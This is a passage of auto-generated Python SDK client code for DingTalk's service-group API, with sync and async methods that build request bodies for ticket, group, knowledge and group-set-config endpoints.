= {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AssignTicketResponse(), self.do_roarequest('AssignTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/assign', 'none', req, runtime) ) async def assign_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.AssignTicketRequest, headers: dingtalkservice_group__1__0_models.AssignTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AssignTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.operator_union_id): body['operatorUnionId'] = request.operator_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.processor_union_ids): body['processorUnionIds'] = request.processor_union_ids if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.notify): body['notify'] = request.notify if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AssignTicketResponse(), await self.do_roarequest_async('AssignTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/assign', 'none', req, runtime) ) def finish_ticket( self, request: dingtalkservice_group__1__0_models.FinishTicketRequest, ) -> dingtalkservice_group__1__0_models.FinishTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.FinishTicketHeaders() return self.finish_ticket_with_options(request, headers, runtime) async def finish_ticket_async( self, request: dingtalkservice_group__1__0_models.FinishTicketRequest, ) -> dingtalkservice_group__1__0_models.FinishTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.FinishTicketHeaders() return await self.finish_ticket_with_options_async(request, headers, runtime) def finish_ticket_with_options( self, request: dingtalkservice_group__1__0_models.FinishTicketRequest, headers: dingtalkservice_group__1__0_models.FinishTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.FinishTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.notify): body['notify'] = request.notify real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.FinishTicketResponse(), self.do_roarequest('FinishTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/finish', 'none', req, runtime) ) async def finish_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.FinishTicketRequest, headers: dingtalkservice_group__1__0_models.FinishTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.FinishTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.notify): body['notify'] = request.notify real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.FinishTicketResponse(), await self.do_roarequest_async('FinishTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/finish', 'none', req, runtime) ) def search_group( self, request: dingtalkservice_group__1__0_models.SearchGroupRequest, ) -> dingtalkservice_group__1__0_models.SearchGroupResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.SearchGroupHeaders() return self.search_group_with_options(request, headers, runtime) async def search_group_async( self, request: dingtalkservice_group__1__0_models.SearchGroupRequest, ) -> dingtalkservice_group__1__0_models.SearchGroupResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.SearchGroupHeaders() return await self.search_group_with_options_async(request, headers, runtime) def search_group_with_options( self, request: dingtalkservice_group__1__0_models.SearchGroupRequest, headers: dingtalkservice_group__1__0_models.SearchGroupHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.SearchGroupResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.group_name): body['groupName'] = request.group_name if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_group_set_id): body['openGroupSetId'] = request.open_group_set_id if not UtilClient.is_unset(request.next_token): body['nextToken'] = request.next_token if not UtilClient.is_unset(request.max_results): body['maxResults'] = request.max_results real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.SearchGroupResponse(), self.do_roarequest('SearchGroup', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groups/search', 'json', req, runtime) ) async def search_group_with_options_async( self, request: dingtalkservice_group__1__0_models.SearchGroupRequest, headers: dingtalkservice_group__1__0_models.SearchGroupHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.SearchGroupResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_conversation_id): body['openConversationId'] = request.open_conversation_id if not UtilClient.is_unset(request.group_name): body['groupName'] = request.group_name if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_group_set_id): body['openGroupSetId'] = request.open_group_set_id if not UtilClient.is_unset(request.next_token): body['nextToken'] = request.next_token if not UtilClient.is_unset(request.max_results): body['maxResults'] = request.max_results real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.SearchGroupResponse(), await self.do_roarequest_async('SearchGroup', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groups/search', 'json', req, runtime) ) def update_ticket( self, request: dingtalkservice_group__1__0_models.UpdateTicketRequest, ) -> dingtalkservice_group__1__0_models.UpdateTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.UpdateTicketHeaders() return self.update_ticket_with_options(request, headers, runtime) async def update_ticket_async( self, request: dingtalkservice_group__1__0_models.UpdateTicketRequest, ) -> dingtalkservice_group__1__0_models.UpdateTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.UpdateTicketHeaders() return await self.update_ticket_with_options_async(request, headers, runtime) def update_ticket_with_options( self, request: dingtalkservice_group__1__0_models.UpdateTicketRequest, headers: dingtalkservice_group__1__0_models.UpdateTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.UpdateTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.custom_fields): body['customFields'] = request.custom_fields if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.UpdateTicketResponse(), self.do_roarequest('UpdateTicket', 'serviceGroup_1.0', 'HTTP', 'PUT', 'AK', f'/v1.0/serviceGroup/tickets', 'none', req, runtime) ) async def update_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.UpdateTicketRequest, headers: dingtalkservice_group__1__0_models.UpdateTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.UpdateTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.custom_fields): body['customFields'] = request.custom_fields if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.UpdateTicketResponse(), await self.do_roarequest_async('UpdateTicket', 'serviceGroup_1.0', 'HTTP', 'PUT', 'AK', f'/v1.0/serviceGroup/tickets', 'none', req, runtime) ) def create_group( self, request: dingtalkservice_group__1__0_models.CreateGroupRequest, ) -> dingtalkservice_group__1__0_models.CreateGroupResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.CreateGroupHeaders() return self.create_group_with_options(request, headers, runtime) async def create_group_async( self, request: dingtalkservice_group__1__0_models.CreateGroupRequest, ) -> dingtalkservice_group__1__0_models.CreateGroupResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.CreateGroupHeaders() return await self.create_group_with_options_async(request, headers, runtime) def create_group_with_options( self, request: dingtalkservice_group__1__0_models.CreateGroupRequest, headers: dingtalkservice_group__1__0_models.CreateGroupHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.CreateGroupResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.group_biz_id): body['groupBizId'] = request.group_biz_id if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_group_set_id): body['openGroupSetId'] = request.open_group_set_id if not UtilClient.is_unset(request.group_name): body['groupName'] = request.group_name if not UtilClient.is_unset(request.owner_staff_id): body['ownerStaffId'] = request.owner_staff_id if not UtilClient.is_unset(request.member_staff_ids): body['memberStaffIds'] = request.member_staff_ids if not UtilClient.is_unset(request.group_tag_names): body['groupTagNames'] = request.group_tag_names if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.CreateGroupResponse(), self.do_roarequest('CreateGroup', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groups', 'json', req, runtime) ) async def create_group_with_options_async( self, request: dingtalkservice_group__1__0_models.CreateGroupRequest, headers: dingtalkservice_group__1__0_models.CreateGroupHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.CreateGroupResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.group_biz_id): body['groupBizId'] = request.group_biz_id if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_group_set_id): body['openGroupSetId'] = request.open_group_set_id if not UtilClient.is_unset(request.group_name): body['groupName'] = request.group_name if not UtilClient.is_unset(request.owner_staff_id): body['ownerStaffId'] = request.owner_staff_id if not UtilClient.is_unset(request.member_staff_ids): body['memberStaffIds'] = request.member_staff_ids if not UtilClient.is_unset(request.group_tag_names): body['groupTagNames'] = request.group_tag_names if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.CreateGroupResponse(), await self.do_roarequest_async('CreateGroup', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groups', 'json', req, runtime) ) def transfer_ticket( self, request: dingtalkservice_group__1__0_models.TransferTicketRequest, ) -> dingtalkservice_group__1__0_models.TransferTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.TransferTicketHeaders() return self.transfer_ticket_with_options(request, headers, runtime) async def transfer_ticket_async( self, request: dingtalkservice_group__1__0_models.TransferTicketRequest, ) -> dingtalkservice_group__1__0_models.TransferTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.TransferTicketHeaders() return await self.transfer_ticket_with_options_async(request, headers, runtime) def transfer_ticket_with_options( self, request: dingtalkservice_group__1__0_models.TransferTicketRequest, headers: dingtalkservice_group__1__0_models.TransferTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.TransferTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.processor_union_ids): body['processorUnionIds'] = request.processor_union_ids if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.notify): body['notify'] = request.notify if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.TransferTicketResponse(), self.do_roarequest('TransferTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/transfer', 'none', req, runtime) ) async def transfer_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.TransferTicketRequest, headers: dingtalkservice_group__1__0_models.TransferTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.TransferTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.processor_union_id): body['processorUnionId'] = request.processor_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.processor_union_ids): body['processorUnionIds'] = request.processor_union_ids if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.notify): body['notify'] = request.notify if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.TransferTicketResponse(), await self.do_roarequest_async('TransferTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets/transfer', 'none', req, runtime) ) def add_knowledge( self, request: dingtalkservice_group__1__0_models.AddKnowledgeRequest, ) -> dingtalkservice_group__1__0_models.AddKnowledgeResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AddKnowledgeHeaders() return self.add_knowledge_with_options(request, headers, runtime) async def add_knowledge_async( self, request: dingtalkservice_group__1__0_models.AddKnowledgeRequest, ) -> dingtalkservice_group__1__0_models.AddKnowledgeResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AddKnowledgeHeaders() return await self.add_knowledge_with_options_async(request, headers, runtime) def add_knowledge_with_options( self, request: dingtalkservice_group__1__0_models.AddKnowledgeRequest, headers: dingtalkservice_group__1__0_models.AddKnowledgeHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AddKnowledgeResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.library_key): body['libraryKey'] = request.library_key if not UtilClient.is_unset(request.source): body['source'] = request.source if not UtilClient.is_unset(request.source_primary_key): body['sourcePrimaryKey'] = request.source_primary_key if not UtilClient.is_unset(request.type): body['type'] = request.type if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.content): body['content'] = request.content if not UtilClient.is_unset(request.link_url): body['linkUrl'] = request.link_url if not UtilClient.is_unset(request.version): body['version'] = request.version real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AddKnowledgeResponse(), self.do_roarequest('AddKnowledge', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/knowledges', 'json', req, runtime) ) async def add_knowledge_with_options_async( self, request: dingtalkservice_group__1__0_models.AddKnowledgeRequest, headers: dingtalkservice_group__1__0_models.AddKnowledgeHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AddKnowledgeResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.library_key): body['libraryKey'] = request.library_key if not UtilClient.is_unset(request.source): body['source'] = request.source if not UtilClient.is_unset(request.source_primary_key): body['sourcePrimaryKey'] = request.source_primary_key if not UtilClient.is_unset(request.type): body['type'] = request.type if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.content): body['content'] = request.content if not UtilClient.is_unset(request.link_url): body['linkUrl'] = request.link_url if not UtilClient.is_unset(request.version): body['version'] = request.version real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.AddKnowledgeResponse(), await self.do_roarequest_async('AddKnowledge', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/knowledges', 'json', req, runtime) ) def batch_get_group_set_config( self, request: dingtalkservice_group__1__0_models.BatchGetGroupSetConfigRequest, ) -> dingtalkservice_group__1__0_models.BatchGetGroupSetConfigResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.BatchGetGroupSetConfigHeaders() return self.batch_get_group_set_config_with_options(request, headers, runtime) async def batch_get_group_set_config_async( self, request: dingtalkservice_group__1__0_models.BatchGetGroupSetConfigRequest, ) -> dingtalkservice_group__1__0_models.BatchGetGroupSetConfigResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.BatchGetGroupSetConfigHeaders() return await self.batch_get_group_set_config_with_options_async(request, headers, runtime) def batch_get_group_set_config_with_options( self, request: dingtalkservice_group__1__0_models.BatchGetGroupSetConfigRequest, headers: dingtalkservice_group__1__0_models.BatchGetGroupSetConfigHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.BatchGetGroupSetConfigResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_group_set_id): body['openGroupSetId'] = request.open_group_set_id if not UtilClient.is_unset(request.config_keys): body['configKeys'] = request.config_keys real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.BatchGetGroupSetConfigResponse(), self.do_roarequest('BatchGetGroupSetConfig', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groupSetConfigs/batchQuery', 'json', req, runtime) ) async def batch_get_group_set_config_with_options_async( self, request: dingtalkservice_group__1__0_models.BatchGetGroupSetConfigRequest, headers: dingtalkservice_group__1__0_models.BatchGetGroupSetConfigHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.BatchGetGroupSetConfigResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.open_group_set_id): body['openGroupSetId'] = request.open_group_set_id if not UtilClient.is_unset(request.config_keys): body['configKeys'] = request.config_keys real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.BatchGetGroupSetConfigResponse(), await self.do_roarequest_async('BatchGetGroupSetConfig', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/groupSetConfigs/batchQuery', 'json', req, runtime) ) def list_ticket_operate_record( self, request: dingtalkservice_group__1__0_models.ListTicketOperateRecordRequest, ) -> dingtalkservice_group__1__0_models.ListTicketOperateRecordResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.ListTicketOperateRecordHeaders() return self.list_ticket_operate_record_with_options(request, headers, runtime) async def list_ticket_operate_record_async( self, request: dingtalkservice_group__1__0_models.ListTicketOperateRecordRequest, ) -> dingtalkservice_group__1__0_models.ListTicketOperateRecordResponse: runtime = util_models.RuntimeOptions() headers = 